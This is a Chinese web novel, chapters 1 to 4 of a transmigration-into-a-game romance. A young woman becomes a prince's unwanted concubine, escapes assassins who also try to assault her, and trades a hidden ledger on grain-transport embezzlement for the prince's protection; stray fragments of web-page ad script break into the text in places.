《王妃,你有点八卦》 1. 第 1 章 “叮咚”。 “欢迎来到《热血江湖》内测版,游戏正在为您载入,祝您体验愉快。” ………… 岳明明睁开眼睛,发现她的角色正在一顶软轿里,由四名轿夫抬着,吭哧吭哧走着山路。 “系统你在吗?” 没有回答。 奇怪……不是说进入游戏后,系统会第一时间提供世界说明吗,怎么还没动静? 岳明明正纳闷,软轿突然停下了。 短暂沉默后,一只粗粝黝黑的大手猛地伸进来,将轿帘扯下,四张不怀好意的脸,齐刷刷对她露出猥琐的笑。 “嘿嘿,小姐,对不住了。”为首轿夫掏出一柄寒光凛凛的短刀,故意在岳明明眼前晃了晃:“咱们也是拿人钱财、替人办事……冤有头债有主,小姐做了鬼,自去寻那害你的人吧!” 说罢几人哈哈大笑,却不着急动手。 有些杀人者喜欢玩猫捉老鼠的游戏,尤其面对娇弱的深闺小姐,他们非常期待看她哭喊、求饶、顺从……直到崩溃。 可岳明明的反应,却让他们的笑容僵在脸上。 岳明明笑得比他们还灿烂。 游戏里会专门设计一些开场小怪,方便主角熟悉操作,这四个看来就是了! 岳明明有点小期待:“系统,现在我要怎么做?我的装备和攻击菜单呢?” 系统继续沉默。 岳明明无奈,决定发挥玩家主动性,自己探索。 按照她的游戏经验,先找件趁手的武器比较重要。她把目光锁定于怀中的首饰匣子—— 打开后,偌大匣子里只有一枚朴实无华的银钗,钗头点了抹翠绿,是颗小得可怜的翡翠。 就用它试试! “好了!来战吧!” 岳明明手握银钗,仿佛青龙偃月刀在手,士气大涨。她深知这些开场喽啰血量都很少,砍两下就死了。 轿夫们互相对视一眼,然后……爆发出更大的笑声。 这个猎物太有趣了! 为首轿夫干脆把刀别回腰间,伸出铁钳一般的大手,死死攥住岳明明手腕:“老子见过性子软吓破胆的,性子烈直接自杀的……敢跟哥几个比划的,今天还是头一回见!” 岳明明被他牢牢钳在掌中,拼命挣脱反抗,却动不了分毫。 这具身体也太弱了吧……难道接下来有英雄救美的剧情? 她四下张望,可这荒山野岭别说人影,连畜生都没有一只。 轿夫狞笑道:“还想着有人能来救你?死了这条心吧!像你这种妾室,死后连收尸的人都没有!” 岳明明一头雾水,她要扮演的不是女侠吗,怎么变成妾室了…… 货不对板就算了,这也差太多了吧! 更可怕的是,她感觉手腕真的快被折断了,而对方带着酒臭的身体越贴越近,令人作呕的气息喷在她脖颈间,岳明明顿时犹如一只炸了毛的猫,根根汗毛倒竖。 占人便宜的臭流氓!就算游戏里也不行! 岳明明瞅准对方耳朵,狠狠咬上去。 小时候她看过一场著名的拳击比赛。她不相信自己,但相信拳王的判断——攻击,人家是专业的。 轿夫惨叫着后退,岳明明感到手腕一松,还没来得及高兴,另一只手粗暴地将她拖出来,重重摔在地上。接连几个耳光落下,打得她眼前金星四溅,耳中尖啸长鸣。 岳明明彻底懵了。 从小到大没人碰过她一根手指头,本想来游戏里大杀四方,却连剧情都没展开,就被几个小怪打爆了。 她又委屈又害怕,眼泪不争气地流出来:“系统?系统!救命啊!” 她不想玩了!她要回家! 这回系统终于不装死了,一道悦耳的嗓音在岳明明脑中响起:“玩家您好,我是您的专属系统管家,很高兴为您服务。” 岳明明仿佛抓住了救命稻草:“能不能让他们别打了!我要退出游戏!” 呜呜呜……真的好疼啊! 系统:“很抱歉,您的游戏时长不符合退出要求,如果强行退出,可能会有脑死亡风险,您要坚持退出吗?” 眼前立刻出现一个对话框,“强制退出”按钮不祥地泛着红光。 岳明明慌了,签合同的时候,她确实看过加粗的风险提示,可惜当时根本没当回事。 “那……如果我现在被打死,算强制退出吗?” “目前还没有玩家在这么短的时间里下线,很抱歉,风险未知。” ………… 岳明明绝望地喊道:“你们这破游戏根本不合理,我什么技能都没学,根本打不过他们!我现在怎么办?” 系统依旧是气死人不偿命的语气:“请稍等,我了解情况后,将为您解答。” 重新陷入沉默。 轿夫们不明所以,只见岳明明大喊大叫,嘴里说着一些听不懂的话,以为她疯了,便停下手来。 其中一人打量着岳明明的脸,眼神蛇蝎一般直往她凌乱的衣衫里钻:“这小模样,直接杀了太可惜。老大,不如留给咱们玩玩!” 另一人啧啧遗憾道:“上面特意叮嘱过,要留她清白。” “切,人都杀了,还管天管地管老子!要我说,事后往山下一扔,被野狗一叼,全尸都剩不下,谁看得出来?” “大哥,你说呢?” 为首轿夫面色阴郁,一手捂着淌血的耳朵,恨恨道:“咱们过手这么多老的小的,还没人伤过老子!这小娘们属狗的,给脸不要脸,光杀她太便宜了!” 岳明明心里一凉,完了。 “系统,我还有活路吗?” 这次系统回复倒是及时:“很抱歉,您登陆的游戏出现程序错乱,暂时无法修复,我们建议您继续体验游戏,游戏时长达到一小时后,可以安全退出。” 岳明明:what??? “您在连接时,误入了另一款未开发完成的游戏,系统功能不全,无法强制干预,希望您理解。” 岳明明根本无法理解:“……你是说我登录了另一个游戏,这游戏是个半成品,你们控制不了,现在只能任由我自生自灭?” 系统好像听懂了她语气里的嘲讽和愤怒,尴尬地沉默了一下。 “正在为您接入紧急保护系统,请稍等。” 岳明明已经完全不相信这个坑爹游戏了,她咬牙看着一步步逼近的轿夫,身体不受控制地哆嗦起来。无助和恐惧在她心头生长、蔓延,最后如巨浪一般将她吞没,令她无法呼吸。 如果疼痛是真实的,那么接下来发生的一切,都将无比真实。 岳明明,你能承受吗? 轿夫沉重身体压上来的时候,岳明明听见自己凄厉的尖叫,其他人哄堂大笑,她本能地伸手去抵抗,明知不自量力,可小小蝼蚁还能做什么呢? 就在这时,诡异的事情发生了—— 岳明明身上那名轿夫,被一股看不见的力量倏地弹开,身子腾空飞起,狠狠撞上几丈开外的一棵歪脖子树,瞬间没了气息。 这一切兔起鹘落,所有人愣在原地。 “老大……他死……死了。” 轿夫们眼里闪过惊惧之色,有人指着岳明明叫道:“这女人有古怪!” 为首轿夫是个狠辣角色,一看情况不对,当即拔出短刀朝岳明明心口刺去。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >岳明明再抬手,期待像刚才那样把对方轰飞,可惜这次毫无反应。 短刀在她手臂划出一道深深的伤口,岳明明疼得倒吸一口凉气,趁对方没刺中的空当,她一骨碌爬起身就往林子里跑。 冲出去二三十米,岳明明忽然意识到,咦,自己怎么这么快? 虽然浑身散了架似的疼,但她自觉脚下生风、身轻如燕,转头看向身后,轿夫们竟不知不觉被甩在十米开外。 “已为您解锁紧急逃生技能——‘飞檐走壁’。” 岳明明的心终于跟系统声音一样欢快起来。 她好像……死里逃生了! 进入密林深处,确定甩开追兵后,岳明明跌坐在树下,吧嗒吧嗒又掉起眼泪。哭够了,她抹了把脸,气鼓鼓质问系统:“这回游戏时长够了吧,我要退出!” “很抱歉,您的游戏时长不足,无法保证安全退出。” 岳明明糊涂了,急道:“我这一路又是挨打又是逃命,折腾了好久,怎么还不够?” “游戏时长以现实世界的时间来计算,两个世界的时间并不同步,据后台统计,您的游戏时长不足一秒钟。” 什么?! 按照这个算法,她还要在游戏里待半年…… 这哪儿是游戏,这分明是贼船! 一边是现实里的脑死亡,一边是未知生死的凶险剧情—— “我还有得选吗?”岳明明喃喃道。 山风呼啸,将少女脸上的泪痕一点点吹干。岳明明想起从前婆婆带她去山里采蘑菇,她不停抱怨,嫌山路难走,蚊虫蜇人,野草弄脏了新鞋……婆婆却笑眯眯安慰她:“幺妹儿不要太娇气嘛,来都来了,就好好玩嘛。” 那次她在山里找到一颗大蘑菇,回去炫耀很久,成为暑假最光辉的事迹。 来都来了…… 万一再找到一颗大蘑菇呢? 岳明明静静坐了一会儿,忽然问:“除了逃跑,我还有其他技能吗?” 系统:“完成剧情任务后,可以为您解锁更多技能。您目前的第一个任务是‘嫁入王府’。” 岳明明沉吟片刻:“不对……刚才那个轿夫怎么飞出去的?” “那是高阶武力技能‘行云掌’,紧急状态才有权限使用。” “能不能再给我开一次?”岳明明讨价还价:“你们错的这么离谱,好歹得补偿我一下吧!” “……你想干什么?” 岳明明拢了拢凌乱的鬓发,露出一张独属于少女的柔软素白的脸,黑白分明的眸子里,慢慢烧起一团火焰。 “他们作恶多端,害了很多人,我不想其他人再经历这些了。” 哪怕是在游戏里。 * 轿夫们没想到一个弱不经风的小姑娘,能在他们眼皮底下跑掉。 更没想到,她还主动找回来了! “哎呦,你还敢回来?兄弟们一起上,待会儿就让你生不如死!”一个轿夫哇哇叫道。 众人一拥而上,岳明明却纹丝不动,冷冷看他们扑过来。 为首轿夫暗觉不对,怎么短短一会儿工夫,少女眼神像换了个人似的。联想到猝死的兄弟,他刻意放慢了脚步。 生死关头,野兽般的直觉救了他一命。 岳明明摆出个电视里学来的pose,一股凭空出现的力量灌注掌中,抬手间就将两人震飞出去。 少女脚步未停。 她一步步逼近为首轿夫,明明脸庞稚嫩、满身伤痕,却带着一股摧枯拉朽的强横,如玄女威严,又像厉鬼索命。 这次轮到杀人者面如土色,节节退后。 “你……你究竟是人是鬼?” 2. 第 2 章 是夜,月满中天。 宵禁后空荡的长街上,一辆马车踏着月色归来。 车身朱漆莹润,宝相花纹,极尽奢华。车后跟了六名银盔玄甲侍卫,竟是巡防营亲自护送。 马车停在一座高门府邸前—— 嘉王府。 车里的人,便是当今圣上的亲弟弟,京城人尽皆知的风流王爷,赵琮昀。 仆从们将酩酊大醉的王爷扶入府中,依惯例打赏了侍卫们,长夜重又归于宁静。 “听说今天王府纳妾……这位玩到这么晚,又喝成这样,不怕新娘子等急了?”一名侍卫悄声道。 同伴一乐:“兄弟新来的吧?京城谁不知道,这位天天长在花街柳巷,当初娶正室时,甚至彻夜未归……女方家里气得告上金銮殿,圣上亲自调解,才免了一场笑话。如今不过纳个妾,更不当回事了!” “也不知这回嫁进来的,是哪家姑娘?”侍卫叹息着离去。 在他身后,冷月无声悬于高墙,朱门紧锁,宛如华丽的牢笼。 * 屏退所有人,赵琮昀披衣而起。 上一秒还烂醉如泥的公子,此刻眼眸清亮如雪,冷着一张脸,聚精会神看起了文书。 “醒酒汤来喽。”一个面容讨喜的中年男子推门而入,脚步轻快,手上端了碗黑乎乎的东西。 此人唤做东叔,既是赵琮昀自小到大的心腹侍卫,也算王府半个主事人。 赵琮昀眉头微皱:“又是什么新配方?闻起来很恶心。” “不如你身上的酒气恶心。”东叔不客气道。 赵琮昀闻言一怔,抬手闻了闻自己衣袖,顿时露出厌恶神色。 “要不要更衣?”东叔问。 “不用了。”赵琮昀冷声道:“今夜这场酒还没喝完呢。” 纳妾虽不用举行仪式,一杯合卺酒还是少不了的。 “哦,说到这个,”东叔摸摸鼻子:“本应今日入府的那位娘子……她没来……” “什么?”赵琮昀豁然抬头,漆黑的眸子瞬间罩上一层霜意,将手中文书啪地摔在桌上:“他们随便玩笑两句,我就得娶一个面都没见过的女人,如今他们倒敢悔婚不来,真是反了!他们还知不知道,这天下是姓赵的!” “小声点!”东叔一把将他拉住:“我看你酒量越来越差了……从前谨言慎行的一个人,现在动不动就胡言乱语!” 赵琮昀眼里盛着滔天怒意:“是他们欺人太甚!” 东叔苦口婆心:“反正你也不想娶,不如顺水推舟……要是真进了门,你天天看着,岂不更心烦?” 赵琮昀不理。 东叔忽觉不对:“往日再不高兴,也没见你发这么大火,到底怎么了?” 赵琮昀眸底暗了暗:“南下赈灾的运粮船今日又翻了……已经是这个月第三次了,他们次次都说成水匪抢劫,我看劫匪就是他们自己……可怜江州数十万无辜难民,听说有些府县已经开始易子而食了……” 东叔黯然道:“你打算怎么办?” “我……”赵琮昀正要说话,东叔忽然拦住他,比了个噤声的手势。 门外响起脚步声,仆从慌张来报:“王爷,出事了!门前来了个疯女人,吵着要入府成婚!” * 岳明明见到赵琮昀的第一眼,就知道这人不喜欢自己。 说不喜欢还是委婉了……他眸光里的冰冷憎恶,要不是岳明明脸皮厚,简直要当场社死。 莫非他跟我有仇? 对这位npc夫婿,她本来还有些幻想——游戏里的老公也算老公啊,何况赵琮昀还是个清隽如玉的大帅哥。 他本就是天潢贵胄,长身挺拔,锦袍雍容,举手投足间,带着与生俱来的矜傲自持。只是此刻满身酒气,连玉冠都有些松散,看得出是真喝醉了。 这么好看,可惜是个酒鬼…… 岳明明叹口气,果然没有白捡的便宜。 “你是岳氏?”东叔问道。 岳明明点头,听到这个奇怪的称呼,有点想笑。 这款游戏为了让玩家有更沉浸的体验,角色名字会根据每个玩家单独生成。她此刻扮演的少女名为岳琬,小字明明。 她父亲是周边府州负责漕运的通判,膝下一儿一女,她上面还有个亲哥哥。除此之外,游戏就不肯透露更多信息了。 “发生何事?为何如此狼狈?”东叔继续问道。 岳明明拿出准备好的说辞:“进京途中,不幸遇上了山匪抢劫,轿夫们都死了,我趁乱逃出来,一直走了好几个时辰,总算找到了王府……” 东叔眼里闪过一丝犹疑,赵琮昀讥讽道:“哼,不是水匪就是山匪……你们家真是块香饽饽。” 岳明明哪知道自己撞在了枪口上,只觉气氛不对,便拿出杀手锏,眼泪如断线珍珠般直往外滚。 结果赵琮昀非但没心疼,反而喝斥道:“收起你的眼泪,本王最讨厌哭哭啼啼的女人!” 岳明明身子一颤,心里不爽——拽什么拽,王爷很了不起吗……放到现实世界,还不是个封建余孽! 她止住眼泪,打算速战速决:“王爷,时辰不早了,我看您也累了,不如早点休息?” 嫁入王府,第一个游戏任务总算完成了! 系统似乎洞悉了她的想法,适时弹出一条提醒:合卺酒。 ………… 一个破游戏,搞什么形式主义! 岳明明没办法,只好硬着头皮补充道:“还有……还有那个合卺酒,咱们还没喝呢……” “本王凭什么要一个不明不白的女人?”赵琮昀忽然冷笑一声,神色轻蔑:“我怎知那些山匪对你做过什么……” 岳明明倏地僵住,愣愣看着他。 这回她眼圈是真的红了:“你若不信……可以找人来验!” 算她眼瞎,刚才居然对这样的人犯花痴! “王爷喝多了,娘子勿怪,您先去休息吧。”东叔打圆场道。 岳明明一动不动,倔头倔脑盯着赵琮昀:“王爷现在就可以找人为我验身,如果没问题,是不是就可以喝合卺酒了?” 这杯酒她今天喝定了! 赵琮昀还要发作,东叔赶忙使个眼色,温声道:“酒早备好了,就在娘子房中,待会儿娘子回房喝了便是……另一杯让人送过来,您与王爷就算喝过了,娘子意下如何?” 岳明明恨得牙痒痒,狗男人,你给我等着! 她强忍着扇赵琮昀耳光的冲动,随仆从离开书房,直到迈入漆黑夜色,眼泪才掉下来。 岳明明走后,东叔责备道:“刚才过分了……你再厌恶她父亲,也不该这么说一个姑娘家!” 赵琮昀揉着刺痛的太阳穴:“她摆出一副楚楚可怜的样子,你就信了?她一个弱女子,如何从山匪手中逃出来?沿途数十里山路,骑快马也要不少时间,一个闺阁女子,路都不认识,这么快就能找到王府,你觉得合理吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 东叔点头:“确有蹊跷,可我想不通,这番苦肉计目的是什么?” “我也不清楚……总之来者不善。东叔,你带人去查一下,看看是否如她所说。” 赵琮昀有种奇怪的预感,今夜,他算引狼入室了…… * “狼人”岳明明躺在床上,越想越气。 属于她的那杯酒,她早喝光了,系统提醒还阴魂不散地挂在眼前,看来赵琮昀的那杯,他终究是没喝。 “你能不能别这么较真……我都住进来了,还不算完成任务?”岳明明深觉AI比赵琮昀更容易沟通,对着系统耍赖。 系统沉默。 经过半天相处,系统已经进化出装聋作哑的能力,对岳明明很多无理要求直接忽略。 “一个比一个过分。”岳明明嘟囔:“明天再跟你们算账。” 她翻个身打算睡觉,身下被什么东西硌了一下。 原来是那支银钗! 岳明明拿在手中细细打量,看不出任何特别之处。她想不通,岳琬好歹是官宦人家小姐,为什么出嫁带着这么寒酸的首饰? 这支钗应该对她很重要—— 这是谁的遗物,还是藏了什么信息…… 岳明明摆弄许久,忽然福至心灵,轻轻按下钗头翡翠珠子,只听咔哒一声,珠子弹出来,赫然露出一截中空钗心。 里面藏着一卷极薄的纸。 岳明明小心翼翼挑出来一看,顿时睡意全消。 这竟然是一份用蝇头小楷写下的、密密麻麻的账簿,上面记录的银两动辄数十万,除此之外,还有很多岳明明不认识的人名和地点。 联想到父亲身份,岳明明隐约觉得,此事恐怕与漕运有关。 她疲惫不堪的大脑嘎吱嘎吱运转着——细想来,岳琬与家里的关系很有问题,父母把女儿送到王府做妾,女儿偷偷记录父亲的漕运信息,一家人互相算计,哪个都不是省油灯。 亏她还以为岳琬是朵人畜无害的小白花。 这时,系统发来一条新消息:恭喜玩家发现重要线索,解锁“百晓生”功能。 “百晓生是啥东西?”岳明明好奇道。 “简单来说,这是一套针对游戏世界人物的信息查询系统,帮助您在接下来的剧情中,发现更多线索。” 岳明明瞬间来了兴趣:“像某度那样?哇,那我岂不是无所不知!” 系统:“您可以先体验试试。” “帮我查一下赵琮昀!”这是岳明明当前的头号敌人。 “赵琮昀,狮子座,A型血,最喜欢的颜色是白色,最喜欢的菜是炙羊肉,最喜欢的曲子是邀月楼去年作的《长亭别赋》,最讨厌的事是喝酒,最讨厌的人是樊公,初恋发生在十五岁,现任女友是邀月楼头牌姜欢,姜欢在京城被誉为‘琴色双绝’,姜欢上一任恩客是……” 岳明明:“…………你先等等!” 这哪儿是信息查询,这是八卦查询吧! “赵琮昀的情史关我屁事,他又不是我真老公!”岳明明快气死了:“我是来当女侠的,不想做小妾,更不想当狗仔!” 系统:“祝您使用愉快。” 接下来任凭岳明明再怎么骂街,系统坚持装死,一声不吭。最后岳明明败下阵来,瘫成个放弃抵抗的姿势,沉沉睡去。 明天又是新的一天…… 失去意识前,岳明明乐观地给自己打气。她哪里知道,第二天等待她的,是更疯狂的剧情。 3. 第 3 章 岳明明睡到日上三竿爬起来,收到了人生第一封休书。 不知道有没有遣散费……岳明明不无期待地想,若是给她一笔钱,找个地方生活半年,届时安全退出游戏,倒比在王府中给人做妾、看人眼色逍遥快活。 王府当然没有这样的好事。 岳明明失望地摇摇头,在婢女们鄙夷的神色中,仔细梳洗打扮一番,又慢悠悠吃了早茶,感觉自己满血复活,这才唤过仆从带路,前往赵琮昀歇息的院子。 没办法,系统任务上悬着她一条小命,她只好兢兢业业做赵琮昀的狗皮膏药。 仆从朝前匆匆带路,七拐八拐,越走越偏,岳明明不由得警惕道:”……你要带我去哪儿?” 仆从道:“娘子不是要去找王爷吗?这就是去往参园的路啊!” 岳明明疑惑:“你可不要唬我……我听说王妃住的是澄怀斋,参园是什么地方?” 仆从瞥了眼四下无人,低声道:“王爷和王妃并不住在一处,王爷向来在参园歇息,娘子刚来不清楚,府中人都知道的。” 不住一起……岳明明咂摸咂摸这话,嗅出一股子八卦味道。 她忽然想起昨晚新解锁的查询系统,立刻道:“狗仔,帮我查查赵琮昀和他老婆啥情况?” 系统很快传来消息:“王妃苏定柔,当朝太傅苏裴的嫡亲孙女,自幼在川蜀长大,嗜辣如命,喜欢养竹子,十四岁进京,因才貌双全被誉为‘京城第一佳人’,被很多王公贵族子弟追求过,差点跟右丞相樊文秋的儿子樊理定亲,后来被赵琮昀横刀夺爱抢了去,樊理和赵琮昀还因此在演武场约了一架,成为当年京城奇谈……” “谁赢了?”岳明明忍不住好奇道。 “樊理被赵琮昀打得三个月下不来床……” 岳明明咂舌,没想到赵琮昀小白脸这么能打! 可是辛辛苦苦抢回来的老婆,不好好对待,一直分居算怎么回事? 她正待追问,仆从却停下脚步,指着前方曲径通幽道:“参园不许我们进,娘子只需沿着这条路直走便是,东叔会在尽头接你。” 岳明明心情忐忑,赵琮昀挑了这么偏僻的地方见她,不会要杀人灭口吧? 往前走,但见一路草木幽深,寸石生情,倒像是用极了心思的,她才渐渐放下心来。 绕过尽处山石,眼前豁然开朗,一袭玄衣的东叔候在此处,将她领进赵琮昀的小书房。 * “听说你对休书有些意见……要来当面问我?”赵琮昀在袅袅香烟的萦绕中,漫不经心开口。 岳明明微怔了一下—— 这个祸害今日收敛了酒后的张狂,端出一派世家公子的温文尔雅,将一身素白缎袍穿得人模狗样,此刻挺拔立于窗前,如皎皎月光洒落,清冷不近凡尘。 可惜想到他昨晚的言论,岳明明立刻对此人免疫:“我们昨天才成亲,你今天就要休我……这样不太好吧!” “本王行事向来如此。”赵琮昀轻笑一声:“怎么?嫁过来之前,你父亲没告诉你吗?” 岳明明翻个白眼,果然一开口还是欠揍的死样子…… 她明白赵琮昀对自己父亲怨念很深,看来要想留下,必须“大义灭亲”了! “王爷好像不太喜欢我父亲……”岳明明笑眯眯坐下,不见外地给自己倒了杯茶:“我跟你直说了吧,我也看不惯我父亲,这方面咱俩志同道合……你看,能不能晚休我几天?” 赵琮昀眉毛轻轻一挑,眼神里生出几分玩味:“你这见风使舵的本事,倒很像你父亲。你为何非要留在王府?” 岳明明吞了口茶汤,啧啧赞叹:“王府多好呀……荣华富贵谁不想要?” “你父亲的茶,未必比王府的差。” 赵琮昀压根不信她的话,绵里藏针道:“今日写下休书,也是为你考虑,免得将来图穷匕见时,本王一时控制不住,害你丢了性命。” 威胁……赤裸裸的威胁! 岳明明真诚道:“你怎么就不相信我呢?我真的只想留下混吃混喝!” 赵琮昀眉眼间掠过一抹愠色。 他虽在风月场混迹多年,相识的皆是知情识趣、进退有度的官妓名伶,从没见过狗皮膏药一样的小娘子,休书都拿到了还赖着不走。 “你究竟想怎样?难道要本王将你棍棒赶出去吗?” 岳明明见赵琮昀语气不善,也急起来:“这么大的王府,怎么就多我一口饭吃呢?我也不想一直赖在这儿……你这份休书我留着,给我半年时间……到时候不用王爷张口,我自己会走!” 赵琮昀怒极反笑:“半年?你们倒有信心……半年时间够你把王府摸个遍吗?够给你父亲带回多少信息?够你往我身上泼多少脏水?” “你……在说什么呀?” “别装了!东叔昨夜沿路去查过,根本没发现山匪抢劫的痕迹,也没有被杀害的轿夫。” 赵琮昀目光灼灼,眼神恨不得将岳明明贯穿当场:“另外……今早京城突然传开了,说我赵琮昀订婚之后不认账,蓄意谋杀妾室……你和你父亲真是联手演了一出好戏!” “怎么会?”岳明明愣住,喃喃道:“明明就在林子里……是不是山太大了,你们没找到?” “属下不才,有些独特的寻人手段。”东叔微微颔首:“山上的确什么都没有。” 岳明明沉默了。 她虽单纯,却不是傻瓜,轿夫尸体一定被人处理掉了,所以东叔才会什么都找不到。自己昨天刚刚遇袭,今天京城就人尽皆知,说明有人早就确信她会出事…… 有人想除掉她,再栽赃给赵琮昀。 好个一箭双雕! 亏她还以为那几个轿夫临时起意,原来早有预谋! 有能力安排轿夫、算准时辰、提前散布消息,又与赵琮昀有矛盾……答案简直呼之欲出! 岳明明感到脊背一阵发冷,虎毒尚且不食子,当爹的为什么要杀女儿?难道只是为了嫁祸给赵琮昀吗? ……不对,是那根银钗! 她脑中划过一道闪电——银钗里偷偷记录的漕运交易信息,才是她杀身之祸的源头! 这样一切都说得通了…… 岳明明一屁股坐在椅子上,茶水洒了满身也浑然不觉。她既后怕又沮丧,最后全转化成对游戏的愤怒——这是什么地狱难度?处处有人要她的命,她却连第一个任务都完不成…… 事到如今,只有先抱紧赵琮昀这条大腿了! 岳明明咬牙:“王爷明鉴,我什么都不知道!是我父亲……他要杀我!” 赵琮昀用欣赏表演的目光盯着她,实在让人火大。 “如果我有证据呢?”岳明明气道:“有个轿夫被我带到京城藏了起来,你们见到他一问便知。” 这下赵琮昀倒有些意外,他与东叔对视一眼,琢磨片刻道:“人在何处?” “我给你画张地图。”岳明明自告奋勇,抓起书案上的纸笔,刷刷刷几下,便将藏人的地点绘制出来。 赵琮昀接过去,额角青筋顿时一跳,她管这东西叫地图?上面乱七八糟画了一堆线,中间夹杂着意味不明的叉和圆圈,藏人位置还“贴心”地写了一行字,字迹更是不堪入目。 仿佛这张纸会咬人一般,赵琮昀迅速递给东叔:“……能看明白吗?” 东叔端详片刻,微微一笑:“城南有座废弃的义庄,娘子所绘,可是此处?” 岳明明睁大眼睛:“当时天太黑了,我见那里没人住,就把人藏进去了……要知道是义庄,打死我都不敢进!” 东叔点头:“我去去就回。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>* 岳明明没想到,一盏茶工夫,东叔就回来了。 “怎么样?找到了吧?”她急切道,连赵琮昀眼中都隐隐透出期待。 “义庄内确有一名轿夫,娘子所言非虚。”东叔垂眸。 岳明明长出一口气:“看吧,没骗你们!” 赵琮昀却听出东叔语气不对:“出事了?” “人已经死了。推测死亡时间在昨夜三更。” “死因为何?”赵琮昀问。 “尸体看不出任何问题。但属下觉得……恐怕是中毒。” 东叔解释道:“属下早年行走江湖时,听说过一种奇毒,中毒者十二个时辰后才会毒发,死状与睡着无异,仵作也验不出来……倒与这名轿夫的情况很像。” “事先下毒,事后灭口。”赵琮昀点头,用的是陈述语气。 如此说来,倒显得岳明明所说,有几分可信。 如果她也参与其中,根本没必要把一个必死的轿夫藏起来作证。 难道,她真的只是她父亲的一枚棋子? 赵琮昀思忖着,避开岳明明委屈巴巴的眼神,淡淡道:“线索断了……你的筹码没有了。你可以走了。” 岳明明豁出脸皮道:“我不走!出了王府,他们一定不会放过我,我就死定了!” “你不过是颗弃子而已……他是你亲生父亲,为何要赶尽杀绝?”赵琮昀似笑非笑盯住她:“你……是不是知道些什么?” 岳明明深觉这男人聪明得变态,仅凭三言两语,就嗅出了关键线索。 这么厉害,怎么不去当警犬?! 银簪里的信息,她本不想过早交出去,周围每个人都一肚子算计,银簪是她最后的底牌。可惜赵琮昀根本不留余地,看他眼里的意思,要么老实交代,要么滚。 岳明明深吸一口气:“咱们谈谈条件!你要答应我三件事!” “请讲。”此刻赵琮昀眼里装着的笑意倒像是真的。 “第一,我要在王府住上半年,这期间好吃好喝,你不许再休我。第二,昨晚的那杯合卺酒,你得喝了……” 赵琮昀一怔,他没想到,她居然还惦记着这件事。 可是,她怎么会知道自己没喝? “好,我答应你。”赵琮昀道:“第三件是什么?” “这个……我还没想好,你先欠着吧。”岳明明故意留了一手,鬼知道这破游戏还要作什么妖,让赵琮昀打个欠条,将来也好找他帮忙。 赵琮昀却眯起眼睛:“你不说清楚,此事可大可小,我不敢轻易允诺。” 岳明明狡黠一笑:“你不先看看我的东西吗?” 她从怀中掏出银簪,打开机关,将写满字迹的薄纸在手中晃了晃,活像拿肉包子逗狗。 “成交!”赵琮昀是识货的,一眼就看出这是份密密麻麻的账目。 “你得给我立个字据。”岳明明要求道。 赵琮昀不再犹疑,挽袖提笔,在信笺上将承诺一一记下,最后落款盖上一枚红泥私印。岳明明喜滋滋接过来,但见白纸黑字,遒美健秀,总算松了口气。 “王爷加油!不要放过他们!”她将一纸漕运记录搁在书案上,拍拍屁股告辞。 回去路上,系统提醒“合卺酒”倏地消失了,系统声音响起:“恭喜玩家,顺利完成‘嫁入王府’任务,习得‘行云掌’初级。” 身体里一阵暖意流过,岳明明觉得掌心发热,她低下头呆望着双手,她真的会武功了?! “是不是完成任务,就可以学更多功夫了?”岳明明激动。 系统:“是的。而且任务难度越大,解锁的武力值也会越强。” 岳明明迫不及待道:“下一个任务是什么?” “取代苏定柔,成为赵琮昀的王妃。” 4. 第 4 章 岳明明闻言差点跌个跟头。 “你疯了吗?我可不干!” 岳明明很有自知之明,以她直来直往的大咧咧个性,在宅斗剧里,一定是活不过两集的酱油。 再加上赵琮昀那副阴阳怪气的德行,当他的王妃,痛苦程度大概不亚于脑死亡。 赵明明铁了心摆烂:“我打算在王府夹起尾巴做人,最好所有人把我当空气,住满半年,功成身退……什么任务不任务的,就算了吧!” 她不想升级,只想跑跑地图,享受一下古代王府的奢侈生活。 佛系游戏不好吗?! 系统:“为了您的安全,建议您继续升级。” 一股浓浓的威胁味道。 岳明明不上当,嘻嘻笑道:“那就等有威胁的时候再说啦!” 回到住处,岳明明要来笔墨纸砚,跟婢女核对过日期,便埋头鼓弄起来。 直到残阳西斜,肚子饿得咕咕叫,总算大功告成。 婢女们见她手上沾满墨水,脸脏得跟花猫一样,不由得嗤嗤发笑,笑过之后又有些好奇。 只见岳明明在房间左看右看,挑了最显眼的一处:“就这里吧。” 她竟然做了一份倒计时日历! 厚厚一沓纸,让等待时间有了具象模样,每天撕掉一张,她便离回家更近了一步。 想到那个风雨无惧的家,岳明明眼眶发酸,闷闷道:“我饿了,有饭吗?” 一个样子伶俐的婢女答道:“禀娘子,王妃和侧王妃叫您过去一道吃饭呢!” 还有侧王妃? 岳明明有点惊讶,赵琮昀究竟有几个老婆?! 她有心拒绝,苦思冥想半天,却找不出合适的理由。 赵琮昀虽立下承诺,不找她麻烦,但在后宅之中,若想相安无事,迟早要跟他几位老婆过过招。 这场鸿门宴,自己铁定是逃不掉了! 岳明明打定主意:“现在就出发吗?” 那婢女甜甜一笑,委婉道:“娘子第一次见两位王妃,自然要好好梳洗打扮一番。” 岳明明低头瞧见满身墨水,无奈道:“要不……你来帮帮我吧!” 婢女欣然领命:“娘子稍等,我去取些上好的胭脂水粉过来。” 离开院子,婢女立刻敛起笑容,对仆从使个眼色,悄声吩咐:“快去回禀主人,鱼儿已经上钩,一切照计划行事!” * 这番打扮,足足花了一个时辰。 最后婢女端着铜镜给岳明明看,连她自己都惊呆了—— 镜中少女明眸皓齿,珠钗灿烂,一袭水绿色缎裙,衬得纤腰盈盈一握,整个人翩然如松林仙子。行走时,掺了金线的翠竹暗纹在衣衫间若隐若现,更添精致华贵,也多了几分王室富贵之气。 岳明明揉揉饿瘪的肚子,心说值了。 前往澄怀斋的路上,华灯初上,王府里一派喜气洋洋。 岳明明奇道:“府里有什么喜事吗?” 婢女笑:“娘子怎么忘了?昨天是您嫁进来的日子!” “这……不会是因为我吧?”岳明明受宠若惊,心里又隐隐觉得不对。 赵琮昀那货,连一杯合卺酒都懒得喝,又怎会张罗这些表面功夫? 直到走入澄怀斋,看到园中种满了郁郁葱葱的竹子,岳明明心头一沉—— 遭人算计了! 